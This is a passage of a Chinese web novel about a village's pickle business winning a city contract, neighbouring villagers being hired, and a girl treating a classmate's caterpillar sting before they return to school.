“宋晴芳之前帮助村里改进水车图纸，为村里的养鱼工作作出了极大的贡献，这点是毋庸置疑的。”书看的多了，钟伟先跟钟强先一样，都变的喜欢引经据典。 “所以，村里一致认为，让宋晴芳同志参与到这次的抄写工作中，给她一次改过自新的机会。” “只要改正的当，她也会成为我们的一员。” 王岳有点不大乐意，之前他就对宋晴芳有点意见，觉得她一个坏分子，凭什么能力要比自己强。 但朱志鑫已经学乖了，其他知青也老老实实的同意了，他不好独树一帜的提反对意见，只能不情不愿的点点头。 钟伟先这次其实也算是一次胆大的尝试，都生活在一个村子，也不能时时刻刻防备他们，那最好的办法还是让他们融入进来，不管是知青院还是牛棚，只要不是坏的彻底的那种人，钟伟先觉得，能用还是要正常用的。 给他们找好工作干，不让他们闲着，反而会在某种程度上降低他们搞事的几率。 如果他们实在不愿意老实干活，那到时候也好解决，打包送走就是。 村里那么多根正苗红的农多代，压根不怕这些人来硬的。 “莹莹，你跟着哥哥姐姐们一块干活，爹去吴家村看看。” “嗯。” 这是昨天晚上钟伟先就和钟莹莹商量好的，钟莹莹盯着知青们和宋晴芳干活，让村长盯着村里改进，钟伟先去吴家村找对方借车，钟伟先之前帮他们修过车，和对方的车队还算熟悉，这次不单单要借车，连他们的司机也要借过来一用，有熟人好办事。 还有就是包装改进的事，毕竟他们村用的腌菜坛子全是吴家村产出的，谈改装要趁早，不然人家把后面的都烧出来了，你再去找人改，那之前的货要怎么办？不是妥妥的得罪人嘛。 至于之后招吴家村的人来钟家岗干活的事情，还要等等再说，因为单子不确定是否百分百能拿下来。 不过钟强先认为，可以在适当的范围内暗示一下对方，这样双方的友好交流才会更加顺畅。 钟伟先走了，钟莹莹就在知青院四处转悠着看他们在红纸上写字。 走到宋晴芳那边，她那叫一个喜笑颜开，眼前白发苍苍的老人，虽然手都有点颤抖了，但是写出来的字依然工整有力，处处美观。跟一开始试写的没什么两样，反观知青那边，质量和产出都极为不稳定，个个看着年轻力壮，那写出来的字抖的跟鸡爪子挠出来的一样。 钟莹莹实在看不下去了，到他们边上也拿起鹅毛做的笔，蘸着墨水，一笔一画的在红纸上写上货物名称，比如咸鱼干，给起了个高雅的名字，叫钟家岗特色熏鱼。 因为之前提前卖给钢铁厂的那一批大受好评，所以村长钟强先决定，之后做鱼干的方式依旧沿用之前的流程。 由于需要用到松树枝，所以可是苦了钟家祖坟里那一大片的松树林了。 毕竟之前就算村里人搂柴火，也没人想到要去动松树，那可是真正长在坟头上的树。可现在为了村里的发展，钟家竟然把祖坟上的东西都贡献出来了，村里人哪还会有有意见。 钟莹莹的字算不上好，但一笔一画规规矩矩写在纸上，横平竖直的，让人看着也挺舒适。 被宋晴芳将为打击的知青们也不在执着于他们那一手‘草书’，转头学着钟莹莹一笔一画的写字，果然，这次写出来的字比之前强多了。 他们松了一口气，钟莹莹也松了一口气。 他们现在用的红纸还是村里人之前过年写春联剩下的，就这些，人工用剪刀手裁剪出来的大小一致的长方形纸片，用完了可就没了。 把这些全填给知青联手，钟莹莹是不乐意的。 她这边写封条写的顺利，她爹那边借车还有改订坛子的事情也挺顺利。 老奸巨猾的吴村长早就想找机会渗透进钟家岗，奈何除了每年固定的买货收货，对方从不给他机会。 这次钟伟先一到那边，刚提起要借车借人，对方立马把吴村长喊来了。 吴村长答应的爽快，钟伟先甚至还没来得及暗示要从吴家村招人的事。 “吴村长，这次真的多谢你了！”钟伟先强烈表示了自己的谢意。 “我们村最近事情多的很，要是有机会的话，还需要你们村的人多多帮忙啊！”话不需要说的过于直白，对方能够理解为佳。 作为多年的老邻居，吴村长是知道钟家岗特殊的机制的，钟家岗历代村长都要听钟家的意见，所以也就是说，钟伟先的承诺是切实有效的。 正因为如此，他此刻是无比的激动。 钟家岗客如云来，钱如流水流进腰包里，他羡慕极了。 吴家村的窑厂虽然也不缺订单，但由于工作特别幸苦，老人还有妇女儿童很多事情他们都做不了，大多数时间这些人只能在家里种地。 而钟家岗呢，虽然厂子体量小，但人家是全员参与，每个人都能找到适合自己的活计，都有收入，这是他羡慕不来的。 他也想让村里人都有活干，都能赚钱，现在钟伟先给他开了个口子，他恨不得现在就钻进去。 在钟家岗上上下下为了迎接市里来人而付出努力的时候，余华容喊来的人终于到了。 第106章 让钟莹莹意外的是余嘉祥也跟着过来了，他混在市政的人里在冲钟莹莹偷偷的眨眼睛。 由于收到消息的时间还算早，所以钟家岗准备的十分充分。 在考察团去工厂里面考察时，余嘉祥才找到时间过来跟钟莹莹说小话。 “你怎么也跟来了？” “我爹说，既然是我联系的人，就让我也跟着过来历练历练，看看前辈们是怎么做事的，等以后毕业了，也不至于什么都不知道。”余嘉祥回答完钟莹莹的话，他又反问道：“你不是说就回来通知一下家里就回去上学吗？怎么你找的那保安都回学校去了，你还在家里呢？” 保安在钟莹莹到家第三天就回学校去了，钟莹莹待待时间有点长，他不确定还要多久，便告知了一声后，就回校值班去了。 余嘉祥一开始在学校看见保安还以为钟莹莹已经回学校了呢，等上前一问，才知道只回来了他一人。 小弟都能请假不上课，余嘉祥也想着找个借口请个假，去乡下看看，于是就有了他今天的钟家岗之行。 “你什么时候回学校？” “等你们走了我就回去。” 钟莹莹留下本来也只是为了看村里有没有什么需要帮忙的，如果余嘉祥他们回去了，那自然也没她什么事了。 “那你不如跟我们一块走，也安全一点。”合同订下之后，也不需要再避嫌，俩人本就是同班同学，一同返校很是正常。 “再说吧！” “你不是来学习的吗？还不快跟上他们！”钟莹莹瞅了他一眼。 见他十分熟络的从路边枣树的枝头上扯下半熟的枣塞进嘴里，钟莹莹暗骂一声，假洁癖，还没来得及提醒，余嘉祥就低声痛呼起来：“嘶～什么东西扎我？” “是洋辣子，枣树上面这东西最多了。” “什么是洋辣子？” 余嘉祥没听过这玩意。 钟莹莹扯着他的袖子，给他拽到一处低矮的枝桠面前，从地上一根枯树枝，挑起那枝桠上的枣叶，给余嘉祥看叶片背面趴着的东西：“喏……你看，就是这东西。” 眼前的叶片背面上挂着一只黑白色的毛毛虫，身上的长毛看似柔软，但只要皮肤一接触，能瞬间刺入人的毛孔里，让人痛不欲生。 余嘉祥现在只感觉自己整个手背都没办法要了，那被虫扎过的地方迅速红肿了一大片，患处又痛又痒，还有一种火辣辣的感觉，他想伸手去挠，另一只手刚接触到受伤的那只手，又在瞬间缩了回去。 痛、太痛了、压根没法碰，一碰就像有一万根针在扎他一样。 余嘉祥疼的泪眼汪汪，这么甜美的枣树上怎么会生如此恶毒的虫子啊。 他沉浸在自己的痛苦中时，就见钟莹莹从枣树上一连挑了好几只洋辣子下来，还用构树叶给包了起来。 他连忙阻拦：“你干什么啊？不怕被扎？” 钟莹莹没有理睬他，而是继续自己手上的动作，将收集来的洋辣子用树枝给五马分尸了，小小虫子身体里白绿色交错的汁液就这么流在了树叶上。 “手！”钟莹莹让余嘉祥把手伸过来，余嘉祥伸来完好的那一只，钟莹莹给他拍了回去：“另外一只。” “哦。”余嘉祥虽然不解，但仍旧顺从的换了手。 见钟莹莹握着他的手，又捡了一根树枝，戳起绿色的汁液就要往他手上抹，余嘉祥急了：“你干嘛？这东西多恶心啊？” 虫子的尸液，想想就令人作呕，余嘉祥不能接受这样的东西抹在自己的手上，即使是他刚收的小弟，他也不能屈服。 钟莹莹不耐烦的把他的手拽回来：“你当我不嫌恶心啊？要不是你让洋辣子蜇了，谁想玩虫子啊？” “这东西抹到手上就不痛了，是痛还是恶心，你自己选。” 这个小技巧是钟莹莹前世被扎了无数次后摸索出来的。 余嘉祥违背自己的初衷，含泪屈服了。 手上针扎似的痛，压根不允许他再矫情。 白白绿绿的汁液覆盖住他整个手背，中间虫子汁不够了，他眼睁睁又看着钟莹莹抄起木棍又挑了几只下来，凶残的重复之前的动作，避开虫子外面的毛毛，把虫汁挑出来抹到他手上。 余嘉祥已经不忍直视自己的手了，他现在感觉自己全身的汗毛都竖了起来，鸡皮疙瘩掉了一地。 良久之后，他听见身边有人说：“好了，你现在感觉怎么样？还痛吗？” 余嘉祥顺着声音的指示，悄咪咪握拳，然后再松开，随即惊讶道：“咦？真的没感觉了诶！这也太神奇了。” 他睁开眼睛，看向自己饱受摧残的那只手，瞅着上面的脏污，他又闭上眼睛到：“钟莹莹，我这手不疼了，是不是手上这东西就可以洗掉了？” 钟莹莹捂嘴偷笑：“想的美，起码得留着半小时才行。” 谁让他手欠，问也不问的就摘果子，真当枣树跟桑葚树一样宽容呢？桑葚也是他们运气好，没遇见天牛，不然那嘴上的大钳子，一夹一个见血。 城里娃就是没乡下娃皮实，一点小事都能给吓得眼泪都流下来了。 钟莹莹俨然已经忘记上辈子她自己被扎后，奶奶给她抹了牙膏完全不顶用，然后她在床上翻来覆去，打着滚的嚎了，嚎累了就睡着了，睡醒了还是疼，反反复复多次，直至洋辣子的毒针彻底被溶解。 看着眼前白净的城里娃，要是戴副黑框眼镜，妥妥的就是后世的三好学生模样，上高二之后他的个子又长了些，此时已经接近一米七了，钟莹莹刚突破一米五的大关，还没到一米六呢。 钟莹莹心里有些嫉妒，明明以前差距还没那么大的，他这是吃了激素吗，蹿那么快。 视线一转，钟莹莹的注意力从他的身高上转移到他的脸上。 刚刚痛极了，眼眶中被逼出的泪水，此刻还要掉不掉的含在眼里，鼻尖也憋的红红的，这人正委屈巴巴的盯着自己的手，似乎是想不通自己的手为何会这样。 钟莹莹忽然觉得这一幕有些秀色可餐，这个想法一冒出来，她立马在心里删了自己一百八十个巴掌，这跟后世向带着小天才的‘潮男’要微信不是一样的吗？人家还不满十四啊！动歪心思真的畜生。 钟莹莹在心里默念：富强、民主、文明、和谐……十六字箴言，好像有什么乱七八糟的东西混了进来，钟莹莹觉得不太重要，忽略了这些之后，她努力以一种正常的口吻对余嘉祥道：“他们都去厂子那边了，我也带你过去看看吧！” “我们厂刚建的新厂房，跟你上次来相比，完全是一个天一个地，我保证，你见到后一定会大吃一惊的。” 提到正事，钟莹莹的心态总算是恢复正常了。 她不等余嘉祥回答，自己率先走在前面，让余嘉祥跟在她身后。 新厂房建的不算太大，主要还是几间巨大的仓库，以及仓库下面挖出来地窖。 地窖是为了冬天温度过低，或者夏天温度过高的时候，储藏腌菜以及发酵用的，目前来说，温度正好，刚腌制完成，发酵好的咸菜也等不到入地窖，就会被送到供销社，或者国营饭店售卖，暂时还用不到地窖。 余嘉祥的反应没令钟莹莹失望：“上次不还是竹屋吗？怎么直接变砖瓦房了？”红砖黛瓦，这才多久啊，钟家岗就鸟枪换炮了？ 钟莹莹笑着解释到：“竹屋也在，不过那块现在是当作旧厂房使用，我们村的主要生产工作都挪到这边来了。” 进到院子里，余嘉祥又见到了跟之前大不一样到场景，妇女儿童就着水井在院子里有条不紊的洗菜，洗完的菜被装到干净的竹筐里，运到晒谷场上，在摊开的竹席上晾干水分，再被运回咸菜厂进行统一腌制，大家身上的衣服都干干净净的，洗完菜的水也没有倒的到处都是，工厂内部还修建了专门的排水沟，用完的水经过排水沟会直接流到地里的水渠里，用于灌溉作物，一丁点儿都没浪费。 就连钟家的那只狗，阿黄，都被提前洗了个澡，现在毛发蓬松的守护在咸菜厂院外，时不时的的绕着院子巡逻一圈，看外面有没有异常。 上次可不是这样的！余嘉祥上次见阿黄，它还是只小脏狗，而且还爱作弄人，见到生人就要追逐一番，现在的狗子，还有村里人，都让余嘉祥觉得，自己上次是不是来了一个假的钟家岗。 余嘉祥都是这个反应了，市里来的考察团就更满意了。 看着比之前钢铁厂的员工炫耀那批产品还要更加出彩的货物，考察团挑了几种尝了一下味道，互相对视一眼，都知道了对方的想法。 跟在余华容身边的小王此次也来了钟家岗，考察团里的领导跟他耳语几句后，没什么异议的就拍板定下了钟家岗的产品，当场就签了合同，付了定金，婉拒了村里人留他们吃饭的请求，一行人来也匆匆，去也匆匆，走的时候，余嘉祥把钟莹莹也捎上了。 第107章 “强先啊，真的太感谢你了，有这样的好事，第一时间就想到了我们村，这样吧，村里的车子，只要没有运输任务的，你随便借，到时候我油给你加的满满的，你们只管去开就好。”吴家村跟钟家岗不一样，村里人口众多，有很多还挣扎在温饱边缘，吴兴平能力有限，一个小小的窑厂根本顾及不到所有人，尤其那些家里失去了壮劳力的人家。 钟家岗这一手，能把他们村的老弱妇幼包圆了大半，吴兴平能不激动嘛，他高兴坏了。 钟强先：“那哪行啊？吴村长，该是什么就是什么，咱们村用你们的车子，租金该给多少给多少，至于油，我们自己加！” “还有，我们村就绍华一个人会开车，所以还需要你们村的司机也过来帮一下忙，你放心，他们的工资我们给！” 钟强先不打算占吴家村便宜，占小便宜吃大亏，正儿八经的做事才不容易被人抓到小辫子。 “还有啊……”钟强先想在强调一下“我们村做的是食品加工，这一次的货又是供给市政的，政府你晓得吧？还是市里的，卫生方面和管理方面要求的会比较严格。” “所以，如果有刺头……不管是钟家岗的，还是吴家村的，我都不会留情面的。” “这是应该的、应该的”吴兴平满面春风的应承下来“如果有谁不听话，你直接把他撵回来就成，到时候我来收拾他们。”好日子过够了咋滴，给他机会还不中用？那这样的人活该吃苦受穷。 钟强先来吴家村要说的事情都说的差不多了，他本想直接回村的，后来又想到原料的事情，又和吴村长攀谈起来。 “对了，吴村长，咱们村采购原料那事，我想着肥水不流外人田，就先从吴家村开始吧！” “这事就麻烦你多多费心了，要求还跟以前一样，只要质量好，有多少我们收多少。” 等钟强先走后，吴兴平满面红光拿起自己的锣鼓，‘咚～咚～咚～’的在村里敲了起来。 这玩意没有大事，村里是不会用的，他一敲，除了在窑厂里面关键岗位实在走不开的人，村里其他人都聚集到吴家村的晒谷场上了。 “什么事啊？又有逃荒的打进村里来了吗？” “不可能啊？最近又没闹灾。” …… 突然之间被召集过来的村民们都是满脑子都疑问。 吴兴平见人来的差不多了，就将手里的锣鼓放下了，咳了两声清清嗓子后道：“大家安静一下！” “今天我敲锣鼓，是有个天大的好事要通知大家！”他稍微停顿了一下，正想继续往下说，底下人一听有好事，还不知道什么事，就像炸开了锅一样，重新喧闹起来。 有好事的人，更是冲着吴兴平大声喊道：“村长，啥好事啊？你就别卖关子了。” 吴兴平被人打断说话，他心里本来是十分不舒服的，他朝着声音源头的方向看去，本来是想要骂人的，但看清来人，他又默默的把话咽回了肚子里，人家辈份比他高，骂不得。 吴兴平有火没处发，只能又敲了敲锣鼓，直接宣布他口中的好事。 “这个天大的好事就是……钟家岗要在我们村招临时工，村里的妇女小孩，只要干活利索的都可以来我这里报名！” “真的啊？” 不光吴兴平眼馋钟家岗的咸菜厂，吴家村的人也不例外。 吴菊更是直接站出来问道：“村长，那你看我这样的可以报名吗？” 吴菊有些紧张，之前因为吴老婆子的事，他们家和钟家岗闹的很僵，吴菊害怕人家不要她。 吴兴平仔细打量着站在自己面前，已经是两个孩子娘的吴菊，她扭扭捏捏，扣着自己手指，虽然很紧张，但依旧很勇敢的为了得到这份工作站了出来。 吴兴平承认，自己有些犹豫了，他是知道吴菊娘家和钟家岗之前争吴老婆子早死的那个老头留下的房子的，他想直接拒绝，可……算了，都是村里的一份子，当初那些事也不是吴菊的决定，钟强先也没有明着说不要她，吴兴平决定给她一个机会。 “你可以报名，但……”吴菊紧张的等着吴兴平说剩下的话。 “但，如果那边不满意，我还是会把你领回村里来的。” 吴菊听懂了吴兴平的言下之意，她不敢置信的开口：“村长？你是说我可以去钟家岗工作了？报完名就能够直接过去？” 吴菊的话比吴兴平的话还要令人震撼，这下吴兴平是是彻底压不住场面了，他吼了几声安静，由于现场的环境太过于嘈杂，都没人听见，他没办法，只好又掏出他的大鼓槌。 ‘嘭！！！！’ ‘嘭！嘭！嘭！！！’ 这次他用了十二分的力气，敲出来的声音不在是原先鲜亮的咚咚声，而是沉闷的嘭嘭嘭，力道之大，仿佛锣鼓都要被他敲破一样。 再一次稳定住局面，吴兴平继续开口道：“报名即录取。” “但大家不要高兴得太早，这个筛选钟家岗是因为信任才交给我的，所以我的筛选只会比他们还要更加严格。” “平常干活偷奸耍滑的，手脚不干净的，不讲卫生的……现在都可以回去了，你来报名我也不会给你通过的。” 边上的村民又一次震惊了，这都有工作机会了，哪有自己村的村长卡自己人的。 “不是，村长？你为什么啊？” “对啊，对啊，你图啥啊？要是咱们村闲着的人都去钟家岗上班，不好吗？” 面对一句句质问，吴兴平冷哼一声：“人家招的是临时工，我要是把什么阿猫阿狗的都送过去了，那以后还有合作的机会吗？” “这里又不是只有我们一个村子离他们近，人家明年要是换其他村子，到时候你们怎么办？躺地上撒泼打滚啊？” 吴兴平的话让人群有一瞬间的安静。 “他们不是从我们村买坛子吗？不留下我们就不把坛子卖给他们！”吴菊老娘长着一双吊梢眼，此刻唾沫翻飞，眼神凶恶的辩驳，好似钟家岗跟她有什么大仇一般。 可不是有仇吗？想抢人家村里的房子没抢成，这不就记恨在心了吗？ 经过她的挑事，还真有几个人心动了，吴兴平默默记下了那几个人的名字，准备一会儿记录的时候，把这几个人都剔除出去，免得他们到钟家岗再给吴家村抹黑。 对于吴菊老娘的话，吴兴平只觉得可笑至极。 “你继续说说，不卖给钟家岗，然后呢？卖给你吗？” “你这个猪脑子也不好好想想，钟家岗年年不间断的从我们村订货，给村里创造了多大的价值，你一张嘴就要把这门生意给断了。” “咱们村咋就有你这样的蠢货呢？”吴兴平直接指着吴菊老娘的鼻子骂。 “人家县里市里都有关系，你以为没了咱们村，人家找不到下一个窑厂给人家供货是吗？” “蠢货，比猪还蠢！！！” 吴菊老娘仍旧不服气，但是村里人已经不想再听她犯蠢了，现在什么都没有比他们的工作更加重要，没几下她就被人给挤到一边去，她一想往吴兴平这边挤，就有人把她撞开。 最后吴兴平在村里招了二十三个人，八个大娘，七个小媳妇，还有五个刚成年的小姑娘，再有就是三个半大小子，都是没了爹娘，跟着爷奶过活，但是年纪小，干不了窑厂活计的。 之前偶尔去窑厂帮忙搬砖，一个个被压的都不长了，吴兴平想着能帮还是帮一点，都不容易。 “其他没选上的，你们也不要气馁，在咱们村里老实干活，积极表现，那等他们下一批在招人，我会通知你们的。” 吴兴平觉得自己有学到钟强先忽悠人的三分精髓，打一棒子，再给个蜜枣，现在棒子打了，该给蜜枣了，他一直拎着锣鼓，这会儿手都酸了，有那眼尖的看出来他手腕不舒服，十分狗腿的接过了他手里的锣鼓和鼓槌，吴兴平揉了揉手腕，给了他一个孺子可教也的眼神。 “钟家岗还要从我们村采购一批原材料，你们家里有那攒下来的鸡蛋、鸭蛋都可以收拾收拾，拿出来了，还有自留地里的菜，黄瓜，豆角，不拘是啥，都捡好的摘。” “人家有批条的，正规采购，比你们偷偷摸摸的拿去换东西强。”村里有人偷摸去城里跟人换东西，吴兴平知道，他一直睁一只眼闭一只眼罢了，只要不被人抓到，不像之前吴大海那一家子，犯那么大的错，吴兴平觉得这些都是小事。 “卖给钟家岗的菜，我这边也是要检查的，你们不要想着随便糊弄人，尤其是某些人！”吴兴平没有明说，吴家村的人却都知道他指的是谁。 “如果因为个别人，大家的工作都泡汤了，那……” “村长，你放心，我们会互相监督的。” 棒子不打到谁身上，谁不知道痛，当这件事联系到自己切身利益的时候，他们一个个都变得积极的不得了。 吴家村这边忙活的鸡飞狗跳，钟家岗那边更是热热闹闹。 第108章 吴家村的人来到钟家岗的时候，钟家岗从老人到小孩，几乎就没有闲着的，刚会走路的娃，都帮着把菜一点点的从地上给家里人挪到水盆里。 吴兴平看到这一幕，心里感慨道：真是活该人家能发展的起来，这么努力，人家应得的。 再看看他们村里，本来想多送点人来钟家岗的，但一筛去干活不认真的，就只剩下这么二十来号人来，吴兴平暗自下决心，等回村以后，一定要狠狠的鞭策他们，不求能超过钟家岗，只要能比得上人家三分努力就行。 钟强先听说他的劳动力来了，本来在记账的他从家里飞快的跑出来，接待吴兴平。 “强先，我们村这些人就交给你了，他们犯什么错，你直接骂就行，如果有那死不悔改的，你就知会我一声，我来解决。” “我就先回去了，村里还有活要忙！” 吴兴平已经迫不及待的要回村‘鼓励’村里被他挑剩下的那一批人好好干活了。 瞅这钟家岗的鱼塘、瞅这钟家岗的水渠、瞅这钟家岗的新厂房……钟家岗的一切，在吴兴平的眼里都是值得学习的。 他现在就要回村！好好的鞭打他们，他也要搞鱼塘。 他们村又不是没有水塘，也就之前一直没人管，钟家岗鱼塘里一喂鱼草浮到水面上活蹦乱跳的鱼，密密麻麻的挤在一起，那都是肉啊，而且就算他们没钟家岗的技术，还有生产许可，那他们村产出的鱼也是可以卖给钟家岗的。 钟家岗的生意做的那么大，所有的货物都供不应求，吴兴平认为，吴家村如果也跟着养鱼，对放一定能吃下那些渔获的。 更何况养鱼又不费事，比种田轻松多了，农闲时，把鱼苗往水里一撒，没事割点草撒进去喂鱼，除了人累点，废不了什么功夫。 吴兴平来的快，走的更急。 钟强先现在对于管理村民方面颇有心得，不管是钟家岗的，还是吴家村的，他有自信他一样能管得好。 吴菊藏在吴家村的村民中都不敢看钟强先，生怕他将她赶回村去。 她不能失去这份工作，她还有两个孩子要养，能赚钱她在家里面才有话语权，只在家里干农活，她婆婆跟丈夫都说她，不赚钱白吃饭，连带着两个孩子都有些瞧不起她。 吴菊想着，只要自己能赚钱就好了，自己能赚钱，那在家里就跟她丈夫是一样的了。 她像只蟑螂一样四处躲闪着，不敢直视钟强先的目光。 终于，钟强先结束了谈话，让他们分开跟着钟家岗的人慢慢学习后就走了，并没有注意到吴菊。 吴菊这才松了一口气，蹑手蹑脚的跟着钟家岗的人干活去了。 中间遇到陈显英过来接手最后一道程序，她还是尴尬的涨红了脸。 其实陈显英对她印象挺好的，人很能干，长的也好，要不是家庭拖累，没准能跟自己成为一家。 见她反应有些*奇怪，手上动作也出了一些小差错，陈显英忍不住提醒道：“洗菜的时候不要太用力了，菜叶子烂了品相不好了，就不拿出去交货了。” 这批货是要供给市政的，钟家岗全村都想做到尽善尽美。 吴菊的手像是被烫到了一般，飞速的松开了快被她扯烂的菜叶子，低头讷讷应声道：“我知道了。” 怀疑她可能是因为之前吴老婆子的事，害怕村里人不接受她，陈显英还安慰了她几句：“既然来了钟家岗，好好干活就成，不要想那些乱七八糟的事了，都当孩子娘了，事情早都过去了。” 来了钟家岗，就得给她好好干活，心里一直东想西想的做什么。 陈显英的宽容让吴菊彻底的放下心中的大石头，她朝陈显英露出一个感激的笑容后，重新继续手下的活计，陈显英见她没有再出错，满意的笑了笑，不错，就该是这样，不管是谁，老实干活就行。 钟绍华跟村长大儿子之前在糖厂的那份临时工的工作，工厂复工后他们也没有再去做，钟家岗正是缺人手的时候，比起给人家干活，他俩更想帮着村里干活。 两份工作压根没干多久，就又被他俩交换了出去。 黄有德有些无语，花了好大的人情换的工作，俩人就这么换出去了，但想到钟家岗目前的状况，他也觉得回村发展是正确的。 火车上，钟莹莹跟着考察团坐的都是硬座。 余嘉祥手上的洋辣子汁液还没有擦掉，他自己却忘记了，额头上帮钟莹莹搬行李的时候累出了一头的汗，他没忍住，从口袋里掏出手绢想要擦汗时，整个人忽然又僵住了。 钟莹莹看着他的动作也僵在了那里，原因无它，他蹭了一裤子黏糊的汁液，额头上抹的也全是那东西。 小王不忍直视的提醒道：“嘉祥，要不你去厕所那边洗洗吧！”看着真的有点埋汰。 余嘉祥看看自己的手，又看看自己的裤子，再用干净的那只手摸了摸额头，摸到脑门上黏糊糊的液体，他疯了一般的从座位上跳起来，一头往火车厕所的方向扎去。 过了好一会儿回来时，他一身都是水，裤子也湿了，头发也是湿的，手也被洗的干干净净，就是手背之前被扎过的地方又些泛红。 钟莹莹看了从自己随身带着的斜挎包里掏了半天，掏出来一颗洗的干干净净的小土豆，又拿出削铅笔用的小刀，给土豆一切两半，敷到了余嘉祥的手上，讨好的说：“敷点土豆，手会舒服些。” 敷的时候，她还避开了余嘉祥的皮肤，尽可能的只想土豆和他接触，因为她也觉得那白绿色的汁液怪恶心的，就算已经洗干净了，也抹不掉刚刚那一幕刻在她心底的印象。 但余嘉祥又对村里十分重要，这可是他们钟家岗的财神爷，以后还要继续合作的，可不能把他给气走了，钟莹莹只得小心翼翼的处理土豆，同时又避免埋汰到自己。 余嘉祥表情依旧十分冷淡，他不是气钟莹莹，而是气他自己，气他自己怎么会忘记这么重要的事，还把那么恶心的东西给抹到……脑门上了，现在只要一想起来，他就想呕吐。 恼了一会儿后，见他认定的小跟班，那么谨小慎微的对待自己，余嘉祥心里又不得劲了，他觉得自己这个老大做的有些不称职，怎么能让小弟为自己担惊受怕呢？ “我没事，一会儿回学校把衣服换了就行！” 见他恢复正常，钟莹莹看他那湿漉漉的裤子“我这有衣服，新的，你要不先换一下？” 钟莹莹掏出一条肥大的裤子，这本来是陈显英给她做的睡衣，她说晚上衣服穿着太紧身不舒服，家里最近赚了不少钱，陈显英就买了一些布料回去给她做了件宽松肥大的，这件衣服做了也不亏，正常缝缝补补的话，钟莹莹没准能穿七八年。 余嘉祥“……”不知道说什么才好。 小同桌把裤子都掏给他了，简直是掏心掏肺，他突然间有那那么一丝感动浮现在心头。 再看看那裤子，虽然不太美观，但也看不出是女孩子穿的。 腿上的潮湿不断蔓延，将干的地方也给侵染湿，余嘉祥最终还是坐不住，接过了钟莹莹手里的裤子。 “谢谢，等到学校我赔你条新的。”这条他穿过后，就不打算再还给钟莹莹了。 市政的这伙人也不知道干什么吃的，出来考察竟然不带行李，就抱着当天去，当天回的心态，一点也不专业，万一中间遇到什么意外了呢？ 拿着干净的裤子又去到厕所，这次没两分钟他又铁青着脸回来了。 他爱干净，以前坐火车从没在里面上过厕所，没想到里面竟然是那样的，回忆起方才看到的场景，余嘉祥止不住的干呕。 钟莹莹心里：“哦豁～忘了这个时候的厕所威力了～可怜的倒霉孩子～” 小王这次顾不得看笑话了，余华容派他过来是帮着余嘉祥处理事情的，现在孩子被折腾成这样，瞅这小脸白的，他有些懊恼，自己没给他买卧铺票，哪怕是硬卧，现在也不至于换个裤子都受到那么多限制。 “你们在这等着，我出去一趟。” 他找乘务员去了，凭借着工作证，借用一下他们的休息室应该没问题。 好在，工作人员没让他失望，他市政秘书的工作证一掏出来，对方立马就同意借用休息室换衣服的事了。 可怜的余嘉祥终于得到解脱，从那条湿乎乎的裤子中把腿拔出来，插进了干净清爽的裤子里。 这一换，他就觉察到不一样的地方。 新裤子不但布料柔软，还宽松透气，穿上去感觉轻若无物，舒适极了，除了有点不太美观，没有任何毛病。 他对钟家岗越来越好奇了，一个普普通通的小村子，竟然能有那么多好东西，不光东西好吃，做的衣服也比外面买来的穿的舒服。 他同桌可真幸运，能出生在这么好的地方。 要是让钟莹莹知道他的想法，只会说，给他送去八年前的钟家岗他就老实了，还好地方？天天干活还吃不饱饭、累不死人的好地方吗？ 下了火车后，考察团回到他们该去的地方，小王则是带着余嘉祥，还有钟莹莹的那一大堆‘行李’去了市中。 第109章 谁家好人的行李是用坛子装的一坛子又一坛子咸菜啊，反正小王是没有见过这样的。 长条形状的酸豆角，用的是最为脆嫩时期的豆角，由陈显英精挑细选出来的，比钟家岗工厂出品还要更好的质量，专门留着给闺女吃的。 钟莹莹靠着跟同学们换咸菜，一学期的生活费都攒了下来，咸菜家里带的不要钱，饭是同学们轮流给她打的，也不要钱，在学校里面，除了食堂，又没地方花钱和票，这学上的，她的小金库是日渐充盈。 “今天我们吃什么啊？” “是豆角还是辣白菜？如果有油辣椒那就更好了！” 高二一班自打开始和钟莹莹换东西后，每顿饭都特别积极的占座，打饭，然后所有人围坐在一个小范围内，方便分享美味小咸菜。 咸菜开坛后进到杂菌容易坏，所以每天他们也就吃同一种，由于数量有限，他们人数众多，还得省着些吃。 但在众多咸菜当中，他们最喜欢的就是腌油辣椒。 酸辣开胃，还有油水，清爽解腻，春夏秋冬哪个季节吃都很合适，天热了下饭，天冷了驱寒。 钟莹莹把从宿舍抱过来的坛子一打开，众人立马欢呼起来：“是油辣椒！今天我们有口福了！” 带来的咸菜只有油辣椒不禁放，所以只要带了，那钟莹莹势必第一天就会拿来给他们吃掉。 这个是限定产品，钢铁厂帮着带的那一批当中是没有的，小小的腌菜坛子里满满盛放着陈显英对女儿的爱。 “钟莹莹，我总感觉我们占你便宜了！”赵磊感觉心里奇奇怪怪的，他们只是轮流带饭，每人花的钱票并不多，但是却是所有人一起每顿都在吃钟莹莹家的咸菜，长此以往，钟莹莹亏大了。 “要不，我们补你点钱吧？”可是补钱貌似也有些不对，那不成买卖了吗？ 一开始用带饭的名义来换取咸菜，就是为了避免私人买卖的风险，这样一搞岂不是又绕回原地了。 看他们在那纠结，余嘉祥实在没眼看：“你们就没有什么好玩的，好用的，再不济作业本、铅笔橡皮有吧？拿那个换不就好了？” 赵磊如大梦初醒般恍然大悟：“对啊，其他东西也可以拿来交换啊！” “钟莹莹，我拿本子跟你换，还没用过的，全新的笔记本。” “我有多余的铅笔，也是新的。” “我有发卡，我姑姑从外地给我带回来的，很贵的。” …… 整个高二一班犹如八仙过海般各显神通，他们心里都想着，绝对不让钟莹莹吃亏，万一人家吃亏后反应过来，再也不给他们带了怎么办？他们还要在市中上一年半的学，那不是跟天塌下来了一样？ 钟莹莹一一照单全收，这都是她应得的，为什么不拿？ 本子和笔她用不完，可以带回家去，给侄子侄女用，发卡她觉得幼稚，但是丽丽应当会喜欢，都是好东西，拿回家哄孩子不用自己花钱，赚了赚了。 带菜终究不是长久之举，且看这撒下的网能给她带来多少利益吧！希望结果不要令她失望。 “同学们，安静一下，老师有重要消息要通知你们！”讲台上站着的班主任敲了敲黑板，见教室里逐渐安静下来，她接着往下说：“这学期学校有个下乡劳动的活动，我们全校的同学都必须要参加。” “下午第三节课的时候，牛副校长将会在操场上召开以‘劳动最光荣’为主题的动员大会，班长到时候记得带着全班同学一块到操场上去，不能迟到，一个都不能少啊！” 话说完了，看着教室里的学生的讨论声嗡嗡作响，班主任心里也奇怪，以往这些活动市中都是不参加的，全封闭式的教学可不是闹着玩的，怎么这次？她有些混乱，该不会是…… 想到几年前的乱象，她脑子里乱七八糟的想法止不住的往外冒。 